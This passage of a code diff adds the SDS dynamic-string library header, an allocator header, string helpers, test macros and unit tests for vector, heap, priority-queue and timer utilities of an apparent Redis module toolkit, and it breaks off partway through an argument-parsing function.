+        sdsfree(y);
+        sdsfree(x);
+        x = sdsnew("bar");
+        y = sdsnew("bar");
+        test_cond("sdscmp(bar,bar)", sdscmp(x,y) == 0)
+
+        sdsfree(y);
+        sdsfree(x);
+        x = sdsnew("aar");
+        y = sdsnew("bar");
+        test_cond("sdscmp(bar,bar)", sdscmp(x,y) < 0)
+
+        sdsfree(y);
+        sdsfree(x);
+        x = sdsnewlen("\a\n\0foo\r",7);
+        y = sdscatrepr(sdsempty(),x,sdslen(x));
+        test_cond("sdscatrepr(...data...)",
+            memcmp(y,"\"\\a\\n\\x00foo\\r\"",15) == 0)
+
+        {
+            unsigned int oldfree;
+            char *p;
+            int step = 10, j, i;
+
+            sdsfree(x);
+            sdsfree(y);
+            x = sdsnew("0");
+            test_cond("sdsnew() free/len buffers", sdslen(x) == 1 && sdsavail(x) == 0);
+
+            /* Run the test a few times in order to hit the first two
+             * SDS header types. */
+            for (i = 0; i < 10; i++) {
+                int oldlen = sdslen(x);
+                x = sdsMakeRoomFor(x,step);
+                int type = x[-1]&SDS_TYPE_MASK;
+
+                test_cond("sdsMakeRoomFor() len", sdslen(x) == oldlen);
+                if (type != SDS_TYPE_5) {
+                    test_cond("sdsMakeRoomFor() free", sdsavail(x) >= step);
+                    oldfree = sdsavail(x);
+                }
+                p = x+oldlen;
+                for (j = 0; j < step; j++) {
+                    p[j] = 'A'+j;
+                }
+                sdsIncrLen(x,step);
+            }
+            test_cond("sdsMakeRoomFor() content",
+                memcmp("0ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJ",x,101) == 0);
+            test_cond("sdsMakeRoomFor() final length",sdslen(x)==101);
+
+            sdsfree(x);
+        }
+    }
+    test_report()
+    return 0;
+}
+#endif
+
+#ifdef SDS_TEST_MAIN
+int main(void) {
+    return sdsTest();
+}
+#endif
@@ -0,0 +1,273 @@
+/* SDSLib 2.0 -- A C dynamic strings library
+ *
+ * Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
+ * Copyright (c) 2015, Oran Agra
+ * Copyright (c) 2015, Redis Labs, Inc
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ *   * Redistributions of source code must retain the above copyright notice,
+ *     this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *   * Neither the name of Redis nor the names of its contributors may be used
+ *     to endorse or promote products derived from this software without
+ *     specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef __SDS_H
+#define __SDS_H
+
+#define SDS_MAX_PREALLOC (1024*1024)
+
+#include <sys/types.h>
+#include <stdarg.h>
+#include <stdint.h>
+
+typedef char *sds;
+
+/* Note: sdshdr5 is never used, we just access the flags byte directly.
+ * However is here to document the layout of type 5 SDS strings. */
+struct __attribute__ ((__packed__)) sdshdr5 {
+    unsigned char flags; /* 3 lsb of type, and 5 msb of string length */
+    char buf[];
+};
+struct __attribute__ ((__packed__)) sdshdr8 {
+    uint8_t len; /* used */
+    uint8_t alloc; /* excluding the header and null terminator */
+    unsigned char flags; /* 3 lsb of type, 5 unused bits */
+    char buf[];
+};
+struct __attribute__ ((__packed__)) sdshdr16 {
+    uint16_t len; /* used */
+    uint16_t alloc; /* excluding the header and null terminator */
+    unsigned char flags; /* 3 lsb of type, 5 unused bits */
+    char buf[];
+};
+struct __attribute__ ((__packed__)) sdshdr32 {
+    uint32_t len; /* used */
+    uint32_t alloc; /* excluding the header and null terminator */
+    unsigned char flags; /* 3 lsb of type, 5 unused bits */
+    char buf[];
+};
+struct __attribute__ ((__packed__)) sdshdr64 {
+    uint64_t len; /* used */
+    uint64_t alloc; /* excluding the header and null terminator */
+    unsigned char flags; /* 3 lsb of type, 5 unused bits */
+    char buf[];
+};
+
+#define SDS_TYPE_5  0
+#define SDS_TYPE_8  1
+#define SDS_TYPE_16 2
+#define SDS_TYPE_32 3
+#define SDS_TYPE_64 4
+#define SDS_TYPE_MASK 7
+#define SDS_TYPE_BITS 3
+#define SDS_HDR_VAR(T,s) struct sdshdr##T *sh = (void*)((s)-(sizeof(struct sdshdr##T)));
+#define SDS_HDR(T,s) ((struct sdshdr##T *)((s)-(sizeof(struct sdshdr##T))))
+#define SDS_TYPE_5_LEN(f) ((f)>>SDS_TYPE_BITS)
+
+static inline size_t sdslen(const sds s) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            return SDS_TYPE_5_LEN(flags);
+        case SDS_TYPE_8:
+            return SDS_HDR(8,s)->len;
+        case SDS_TYPE_16:
+            return SDS_HDR(16,s)->len;
+        case SDS_TYPE_32:
+            return SDS_HDR(32,s)->len;
+        case SDS_TYPE_64:
+            return SDS_HDR(64,s)->len;
+    }
+    return 0;
+}
+
+static inline size_t sdsavail(const sds s) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5: {
+            return 0;
+        }
+        case SDS_TYPE_8: {
+            SDS_HDR_VAR(8,s);
+            return sh->alloc - sh->len;
+        }
+        case SDS_TYPE_16: {
+            SDS_HDR_VAR(16,s);
+            return sh->alloc - sh->len;
+        }
+        case SDS_TYPE_32: {
+            SDS_HDR_VAR(32,s);
+            return sh->alloc - sh->len;
+        }
+        case SDS_TYPE_64: {
+            SDS_HDR_VAR(64,s);
+            return sh->alloc - sh->len;
+        }
+    }
+    return 0;
+}
+
+static inline void sdssetlen(sds s, size_t newlen) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            {
+                unsigned char *fp = ((unsigned char*)s)-1;
+                *fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
+            }
+            break;
+        case SDS_TYPE_8:
+            SDS_HDR(8,s)->len = newlen;
+            break;
+        case SDS_TYPE_16:
+            SDS_HDR(16,s)->len = newlen;
+            break;
+        case SDS_TYPE_32:
+            SDS_HDR(32,s)->len = newlen;
+            break;
+        case SDS_TYPE_64:
+            SDS_HDR(64,s)->len = newlen;
+            break;
+    }
+}
+
+static inline void sdsinclen(sds s, size_t inc) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            {
+                unsigned char *fp = ((unsigned char*)s)-1;
+                unsigned char newlen = SDS_TYPE_5_LEN(flags)+inc;
+                *fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
+            }
+            break;
+        case SDS_TYPE_8:
+            SDS_HDR(8,s)->len += inc;
+            break;
+        case SDS_TYPE_16:
+            SDS_HDR(16,s)->len += inc;
+            break;
+        case SDS_TYPE_32:
+            SDS_HDR(32,s)->len += inc;
+            break;
+        case SDS_TYPE_64:
+            SDS_HDR(64,s)->len += inc;
+            break;
+    }
+}
+
+/* sdsalloc() = sdsavail() + sdslen() */
+static inline size_t sdsalloc(const sds s) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            return SDS_TYPE_5_LEN(flags);
+        case SDS_TYPE_8:
+            return SDS_HDR(8,s)->alloc;
+        case SDS_TYPE_16:
+            return SDS_HDR(16,s)->alloc;
+        case SDS_TYPE_32:
+            return SDS_HDR(32,s)->alloc;
+        case SDS_TYPE_64:
+            return SDS_HDR(64,s)->alloc;
+    }
+    return 0;
+}
+
+static inline void sdssetalloc(sds s, size_t newlen) {
+    unsigned char flags = s[-1];
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            /* Nothing to do, this type has no total allocation info. */
+            break;
+        case SDS_TYPE_8:
+            SDS_HDR(8,s)->alloc = newlen;
+            break;
+        case SDS_TYPE_16:
+            SDS_HDR(16,s)->alloc = newlen;
+            break;
+        case SDS_TYPE_32:
+            SDS_HDR(32,s)->alloc = newlen;
+            break;
+        case SDS_TYPE_64:
+            SDS_HDR(64,s)->alloc = newlen;
+            break;
+    }
+}
+
+sds sdsnewlen(const void *init, size_t initlen);
+sds sdsnew(const char *init);
+sds sdsempty(void);
+sds sdsdup(const sds s);
+void sdsfree(sds s);
+sds sdsgrowzero(sds s, size_t len);
+sds sdscatlen(sds s, const void *t, size_t len);
+sds sdscat(sds s, const char *t);
+sds sdscatsds(sds s, const sds t);
+sds sdscpylen(sds s, const char *t, size_t len);
+sds sdscpy(sds s, const char *t);
+
+sds sdscatvprintf(sds s, const char *fmt, va_list ap);
+#ifdef __GNUC__
+sds sdscatprintf(sds s, const char *fmt, ...)
+    __attribute__((format(printf, 2, 3)));
+#else
+sds sdscatprintf(sds s, const char *fmt, ...);
+#endif
+
+sds sdscatfmt(sds s, char const *fmt, ...);
+sds sdstrim(sds s, const char *cset);
+void sdsrange(sds s, int start, int end);
+void sdsupdatelen(sds s);
+void sdsclear(sds s);
+int sdscmp(const sds s1, const sds s2);
+sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count);
+void sdsfreesplitres(sds *tokens, int count);
+void sdstolower(sds s);
+void sdstoupper(sds s);
+sds sdsfromlonglong(long long value);
+sds sdscatrepr(sds s, const char *p, size_t len);
+sds *sdssplitargs(const char *line, int *argc);
+sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen);
+sds sdsjoin(char **argv, int argc, char *sep);
+sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen);
+
+/* Low level functions exposed to the user API */
+sds sdsMakeRoomFor(sds s, size_t addlen);
+void sdsIncrLen(sds s, int incr);
+sds sdsRemoveFreeSpace(sds s);
+size_t sdsAllocSize(sds s);
+void *sdsAllocPtr(sds s);
+
+/* Export the allocator used by SDS to the program using SDS.
+ * Sometimes the program SDS is linked to, may use a different set of
+ * allocators, but may want to allocate or free things that SDS will
+ * respectively free or allocate. */
+void *sds_malloc(size_t size);
+void *sds_realloc(void *ptr, size_t size);
+void sds_free(void *ptr);
+
+#ifdef REDIS_TEST
+int sdsTest(int argc, char *argv[]);
+#endif
+
+#endif
@@ -0,0 +1,47 @@
+/* SDSLib 2.0 -- A C dynamic strings library
+ *
+ * Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
+ * Copyright (c) 2015, Redis Labs, Inc
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ *   * Redistributions of source code must retain the above copyright notice,
+ *     this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *   * Neither the name of Redis nor the names of its contributors may be used
+ *     to endorse or promote products derived from this software without
+ *     specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/* SDS allocator selection.
+ *
+ * This file is used in order to change the SDS allocator at compile time.
+ * Just define the following defines to what you want to use. Also add
+ * the include of your alternate allocator if needed (not needed in order
+ * to use the default libc allocator). */
+
+#if defined(__MACH__)
+#include <stdlib.h>
+#else
+#include <malloc.h>
+#endif
+//#include "zmalloc.h"
+#define s_malloc malloc
+#define s_realloc realloc
+#define s_free free
@@ -0,0 +1,81 @@
+#include <string.h>
+#include <sys/param.h>
+#include <ctype.h>
+#include "strings.h"
+#include "alloc.h"
+
+#include "sds.h"
+
+// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...) {
+//     sds s = sdsempty();
+
+//     va_list ap;
+//     va_start(ap, fmt);
+//     s = sdscatvprintf(s, fmt, ap);
+//     va_end(ap);
+
+//     RedisModuleString *ret = RedisModule_CreateString(ctx, (const char *)s, sdslen(s));
+//     sdsfree(s);
+//     return ret;
+// }
+
+int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2) {
+
+  const char *c1, *c2;
+  size_t l1, l2;
+  c1 = RedisModule_StringPtrLen(s1, &l1);
+  c2 = RedisModule_StringPtrLen(s2, &l2);
+  if (l1 != l2) return 0;
+
+  return strncmp(c1, c2, l1) == 0;
+}
+
+int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2) {
+
+  const char *c1;
+  size_t l1, l2 = strlen(s2);
+  c1 = RedisModule_StringPtrLen(s1, &l1);
+  if (l1 != l2) return 0;
+
+  return strncmp(c1, s2, l1) == 0;
+}
+int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2) {
+
+  const char *c1;
+  size_t l1, l2 = strlen(s2);
+  c1 = RedisModule_StringPtrLen(s1, &l1);
+  if (l1 != l2) return 0;
+
+  return strncasecmp(c1, s2, l1) == 0;
+}
+
+void RMUtil_StringToLower(RedisModuleString *s) {
+
+  size_t l;
+  char *c = (char *)RedisModule_StringPtrLen(s, &l);
+  size_t i;
+  for (i = 0; i < l; i++) {
+    *c = tolower(*c);
+    ++c;
+  }
+}
+
+void RMUtil_StringToUpper(RedisModuleString *s) {
+  size_t l;
+  char *c = (char *)RedisModule_StringPtrLen(s, &l);
+  size_t i;
+  for (i = 0; i < l; i++) {
+    *c = toupper(*c);
+    ++c;
+  }
+}
+
+void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options) {
+  for (size_t ii = 0; ii < n; ++ii) {
+    const char *p = RedisModule_StringPtrLen(rs[ii], NULL);
+    if (options & RMUTIL_STRINGCONVERT_COPY) {
+      p = strdup(p);
+    }
+    ss[ii] = p;
+  }
+}
@@ -0,0 +1,38 @@
+#ifndef __RMUTIL_STRINGS_H__
+#define __RMUTIL_STRINGS_H__
+
+#include <redismodule.h>
+
+/*
+* Create a new RedisModuleString object from a printf-style format and arguments.
+* Note that RedisModuleString objects CANNOT be used as formatting arguments.
+*/
+// DEPRECATED since it was added to the RedisModule API. Replaced with a macro below
+// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...);
+#define RMUtil_CreateFormattedString RedisModule_CreateStringPrintf
+
+/* Return 1 if the two strings are equal. Case *sensitive* */
+int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2);
+
+/* Return 1 if the string is equal to a C NULL terminated string. Case *sensitive* */
+int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2);
+
+/* Return 1 if the string is equal to a C NULL terminated string. Case *insensitive* */
+int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2);
+
+/* Converts a redis string to lowercase in place without reallocating anything */
+void RMUtil_StringToLower(RedisModuleString *s);
+
+/* Converts a redis string to uppercase in place without reallocating anything */
+void RMUtil_StringToUpper(RedisModuleString *s);
+
+// If set, copy the strings using strdup rather than simply storing pointers.
+#define RMUTIL_STRINGCONVERT_COPY 1
+
+/**
+ * Convert one or more RedisModuleString objects into `const char*`.
+ * Both rs and ss are arrays, and should be of <n> length.
+ * Options may be 0 or `RMUTIL_STRINGCONVERT_COPY`
+ */
+void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options);
+#endif
@@ -0,0 +1,69 @@
+#ifndef __TESTUTIL_H__
+#define __TESTUTIL_H__
+
+#include <assert.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+static int numTests = 0;
+static int numAsserts = 0;
+
+#define TESTFUNC(f)                        \
+  printf("  Testing %s\t\t", __STRING(f)); \
+  numTests++;                              \
+  fflush(stdout);                          \
+  if (f()) {                               \
+    printf(" %s FAILED!\n", __STRING(f));  \
+    exit(1);                               \
+  } else                                   \
+    printf("[PASS]\n");
+
+#define ASSERTM(expr, ...)                                                                 \
+  if (!(expr)) {                                                                           \
+    fprintf(stderr, "%s:%d: Assertion '%s' Failed: " __VA_ARGS__ "\n", __FILE__, __LINE__, \
+            __STRING(expr));                                                               \
+    return -1;                                                                             \
+  }                                                                                        \
+  numAsserts++;
+
+#define ASSERT(expr)                                                                      \
+  if (!(expr)) {                                                                          \
+    fprintf(stderr, "%s:%d Assertion '%s' Failed\n", __FILE__, __LINE__, __STRING(expr)); \
+    return -1;                                                                            \
+  }                                                                                       \
+  numAsserts++;
+
+#define ASSERT_STRING_EQ(s1, s2) ASSERT(!strcmp(s1, s2));
+
+#define ASSERT_EQUAL(x, y, ...)                                           \
+  if (x != y) {                                                           \
+    fprintf(stderr, "%s:%d: ", __FILE__, __LINE__);                       \
+    fprintf(stderr, "%g != %g: " __VA_ARGS__ "\n", (double)x, (double)y); \
+    return -1;                                                            \
+  }                                                                       \
+  numAsserts++;
+
+#define FAIL(fmt, ...)                                                            \
+  {                                                                               \
+    fprintf(stderr, "%s:%d: FAIL: " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__); \
+    return -1;                                                                    \
+  }
+
+#define RETURN_TEST_SUCCESS return 0;
+#define TEST_CASE(x, block) \
+  int x {                   \
+    block;                  \
+    return 0                \
+  }
+
+#define PRINT_TEST_SUMMARY printf("\nTotal: %d tests and %d assertions OK\n", numTests, numAsserts);
+
+#define TEST_MAIN(body)                         \
+  int main(int argc, char **argv) {             \
+    printf("Starting Test '%s'...\n", argv[0]); \
+    body;                                       \
+    PRINT_TEST_SUMMARY;                         \
+    printf("\n--------------------\n\n");       \
+    return 0;                                   \
+  }
+#endif
@@ -0,0 +1,38 @@
+#include <stdio.h>
+#include "heap.h"
+#include "assert.h"
+
+int cmp(void *a, void *b) {
+    int *__a = (int *) a;
+    int *__b = (int *) b;
+    return *__a - *__b;
+}
+
+int main(int argc, char **argv) {
+    int myints[] = {10, 20, 30, 5, 15};
+    Vector *v = NewVector(int, 5);
+    for (int i = 0; i < 5; i++) {
+        Vector_Push(v, myints[i]);
+    }
+
+    Make_Heap(v, 0, v->top, cmp);
+
+    int n;
+    Vector_Get(v, 0, &n);
+    assert(30 == n);
+
+    Heap_Pop(v, 0, v->top, cmp);
+    v->top = 4;
+    Vector_Get(v, 0, &n);
+    assert(20 == n);
+
+    Vector_Push(v, 99);
+    Heap_Push(v, 0, v->top, cmp);
+    Vector_Get(v, 0, &n);
+    assert(99 == n);
+
+    Vector_Free(v);
+    printf("PASS!\n");
+    return 0;
+}
+
@@ -0,0 +1,26 @@
+#include <stdio.h>
+#include <redismodule.h>
+#include <unistd.h>
+#include "periodic.h"
+#include "assert.h"
+#include "test.h"
+
+void timerCb(RedisModuleCtx *ctx, void *p) {
+  int *x = p;
+  (*x)++;
+}
+
+int testPeriodic() {
+  int x = 0;
+  struct RMUtilTimer *tm = RMUtil_NewPeriodicTimer(
+      timerCb, NULL, &x, (struct timespec){.tv_sec = 0, .tv_nsec = 10000000});
+
+  sleep(1);
+
+  ASSERT_EQUAL(0, RMUtilTimer_Terminate(tm));
+  ASSERT(x > 0);
+  ASSERT(x <= 100);
+  return 0;
+}
+
+TEST_MAIN({ TESTFUNC(testPeriodic); });
@@ -0,0 +1,37 @@
+#include <stdio.h>
+#include "assert.h"
+#include "priority_queue.h"
+
+int cmp(void* i1, void* i2) {
+    int *__i1 = (int*) i1;
+    int *__i2 = (int*) i2;
+    return *__i1 - *__i2;
+}
+
+int main(int argc, char **argv) {
+    PriorityQueue *pq = NewPriorityQueue(int, 10, cmp);
+    assert(0 == Priority_Queue_Size(pq));
+
+    for (int i = 0; i < 5; i++) {
+        Priority_Queue_Push(pq, i);
+    }
+    assert(5 == Priority_Queue_Size(pq));
+
+    Priority_Queue_Pop(pq);
+    assert(4 == Priority_Queue_Size(pq));
+
+    Priority_Queue_Push(pq, 10);
+    Priority_Queue_Push(pq, 20);
+    Priority_Queue_Push(pq, 15);
+    int n;
+    Priority_Queue_Top(pq, &n);
+    assert(20 == n);
+
+    Priority_Queue_Pop(pq);
+    Priority_Queue_Top(pq, &n);
+    assert(15 == n);
+
+    Priority_Queue_Free(pq);
+    printf("PASS!\n");
+    return 0;
+}
@@ -0,0 +1,67 @@
+#ifndef __TEST_UTIL_H__
+#define __TEST_UTIL_H__
+
+#include "util.h"
+#include <stdarg.h>
+#include <stdlib.h>
+#include <string.h>
+
+
+#define RMUtil_Test(f) \
+                if (argc < 2 || RMUtil_ArgExists(__STRING(f), argv, argc, 1)) { \
+                    int rc = f(ctx); \
+                    if (rc != REDISMODULE_OK) { \
+                        RedisModule_ReplyWithError(ctx, "Test " __STRING(f) " FAILED"); \
+                        return REDISMODULE_ERR;\
+                    }\
+                }
+           
+                
+#define RMUtil_Assert(expr) if (!(expr)) { fprintf (stderr, "Assertion '%s' Failed\n", __STRING(expr)); return REDISMODULE_ERR; }
+
+#define RMUtil_AssertReplyEquals(rep, cstr) RMUtil_Assert( \
+            RMUtil_StringEquals(RedisModule_CreateStringFromCallReply(rep), RedisModule_CreateString(ctx, cstr, strlen(cstr))) \
+            )
+#            
+
+/**
+* Create an arg list to pass to a redis command handler manually, based on the format in fmt.
+* The accepted format specifiers are:
+*   c - for null terminated c strings
+*   s - for RedisModuleString* objects
+*   l - for longs
+*
+*  Example:  RMUtil_MakeArgs(ctx, &argc, "clc", "hello", 1337, "world");
+*
+*  Returns an array of RedisModuleString pointers. The size of the array is store in argcp
+*/
+RedisModuleString **RMUtil_MakeArgs(RedisModuleCtx *ctx, int *argcp, const char *fmt, ...) {
+    
+    va_list ap;
+    va_start(ap, fmt);
+    RedisModuleString **argv = calloc(strlen(fmt), sizeof(RedisModuleString*));
+    int argc = 0;
+    const char *p = fmt;
+    while(*p) {
+        if (*p == 'c') {
+            char *cstr = va_arg(ap,char*);
+            argv[argc++] = RedisModule_CreateString(ctx, cstr, strlen(cstr));
+        } else if (*p == 's') {
+            argv[argc++] = va_arg(ap,void*);;
+        } else if (*p == 'l') {
+            long ll = va_arg(ap,long long);
+            argv[argc++] = RedisModule_CreateStringFromLongLong(ctx, ll);
+        } else {
+            goto fmterr;
+        }
+        p++;
+    }
+    *argcp = argc;
+    
+    return argv;
+fmterr:
+    free(argv);
+    return NULL;
+}
+
+#endif
@@ -0,0 +1,58 @@
+#include "vector.h"
+#include <stdio.h>
+#include "test.h"
+
+int testVector() {
+
+  Vector *v = NewVector(int, 1);
+  ASSERT(v != NULL);
+  // Vector_Put(v, 0, 1);
+  // Vector_Put(v, 1, 3);
+  for (int i = 0; i < 10; i++) {
+    Vector_Push(v, i);
+  }
+  ASSERT_EQUAL(10, Vector_Size(v));
+  ASSERT_EQUAL(16, Vector_Cap(v));
+
+  for (int i = 0; i < Vector_Size(v); i++) {
+    int n;
+    int rc = Vector_Get(v, i, &n);
+    ASSERT_EQUAL(1, rc);
+    // printf("%d %d\n", rc, n);
+
+    ASSERT_EQUAL(n, i);
+  }
+
+  Vector_Free(v);
+
+  v = NewVector(char *, 0);
+  int N = 4;
+  char *strings[4] = {"hello", "world", "foo", "bar"};
+
+  for (int i = 0; i < N; i++) {
+    Vector_Push(v, strings[i]);
+  }
+  ASSERT_EQUAL(N, Vector_Size(v));
+  ASSERT(Vector_Cap(v) >= N);
+
+  for (int i = 0; i < Vector_Size(v); i++) {
+    char *x;
+    int rc = Vector_Get(v, i, &x);
+    ASSERT_EQUAL(1, rc);
+    ASSERT_STRING_EQ(x, strings[i]);
+  }
+
+  int rc = Vector_Get(v, 100, NULL);
+  ASSERT_EQUAL(0, rc);
+
+  Vector_Free(v);
+
+  return 0;
+  // Vector_Push(v, "hello");
+  // Vector_Push(v, "world");
+  // char *x = NULL;
+  // int rc = Vector_Getx(v, 0, &x);
+  // printf("rc: %d got %s\n", rc, x);
+}
+
+TEST_MAIN({ TESTFUNC(testVector); });
@@ -0,0 +1,299 @@
+#include <stdlib.h>
+#include <errno.h>
+#include <math.h>
+#include <ctype.h>
+#include <sys/time.h>
+#include <stdarg.h>
+#include <limits.h>
+#include <string.h>
+#define REDISMODULE_EXPERIMENTAL_API
+#include <redismodule.h>
+#include "util.h"
+
+/**
+Check if an argument exists in an argument list (argv,argc), starting at offset.
+@return 0 if it doesn't exist, otherwise the offset it exists in
+*/
+int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset) {
+
+  size_t larg = strlen(arg);
+  for (; offset < argc; offset++) {
+    size_t l;
+    const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
+    if (l != larg) continue;
+    if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
+      return offset;
+    }
+  }
+  return 0;
+}
+
+/**
+Check if an argument exists in an argument list (argv,argc)
+@return -1 if it doesn't exist, otherwise the offset it exists in
+*/
+int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc) {
+
+  size_t larg = strlen(arg);
+  for (int offset = 0; offset < argc; offset++) {
+    size_t l;
+    const char *carg = RedisModule_StringPtrLen(argv[offset], &l);
+    if (l != larg) continue;
+    if (carg != NULL && strncasecmp(carg, arg, larg) == 0) {
+      return offset;
+    }
+  }
+  return -1;
+}
+
+RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx) {
+
+  RedisModuleCallReply *r = RedisModule_Call(ctx, "INFO", "c", "all");
+  if (r == NULL || RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) {
+    return NULL;
+  }
+
+  int cap = 100;  // rough estimate of info lines
+  RMUtilInfo *info = malloc(sizeof(RMUtilInfo));
+  info->entries = calloc(cap, sizeof(RMUtilInfoEntry));
+
+  int i = 0;
+  size_t sz;
+  char *text = (char *)RedisModule_CallReplyStringPtr(r, &sz);
+
+  char *line = text;
+  while (line && line < text + sz) {
+    char *line = strsep(&text, "\r\n");
+    if (line == NULL) break;
+
+    if (!(*line >= 'a' && *line <= 'z')) {  // skip non entry lines
+      continue;
+    }
+
+    char *key = strsep(&line, ":");
+    info->entries[i].key = strdup(key);
+    info->entries[i].val = strdup(line);
+    i++;
+    if (i >= cap) {
+      cap *= 2;
+      info->entries = realloc(info->entries, cap * sizeof(RMUtilInfoEntry));
+    }
+  }
+  info->numEntries = i;
+  RedisModule_FreeCallReply(r);
+  return info;
+}
+void RMUtilRedisInfo_Free(RMUtilInfo *info) {
+  for (int i = 0; i < info->numEntries; i++) {
+    free(info->entries[i].key);
+    free(info->entries[i].val);
+  }
+  free(info->entries);
+  free(info);
+}
+
+int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val) {
+
+  const char *p = NULL;
+  if (!RMUtilInfo_GetString(info, key, &p)) {
+    return 0;
+  }
+
+  *val = strtoll(p, NULL, 10);
+  if ((errno == ERANGE && (*val == LONG_MAX || *val == LONG_MIN)) || (errno != 0 && *val == 0)) {
+    *val = -1;
+    return 0;
+  }
+
+  return 1;
+}
+
+int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str) {
+  int i;
+  for (i = 0; i < info->numEntries; i++) {
+    if (!strcmp(key, info->entries[i].key)) {
+      *str = info->entries[i].val;
+      return 1;
+    }
+  }
+  return 0;
+}
+
+int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d) {
+  const char *p = NULL;
+  if (!RMUtilInfo_GetString(info, key, &p)) {
+    printf("not found %s\n", key);
+    return 0;
+  }
+
+  *d = strtod(p, NULL);
+  if ((errno == ERANGE && (*d == HUGE_VAL || *d == -HUGE_VAL)) || (errno != 0 && *d == 0)) {
+    return 0;
+  }
+
+  return 1;
+}
+
+/*
+c -- pointer to a Null terminated C string pointer.
+b -- pointer to a C buffer, followed by pointer to a size_t for its length
+s -- pointer to a RedisModuleString
+l -- pointer to Long long integer.
+d -- pointer to a Double
+* -- do not parse this argument at all
+*/
+int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...) {
+  va_list ap;
+  va_start(ap, fmt);
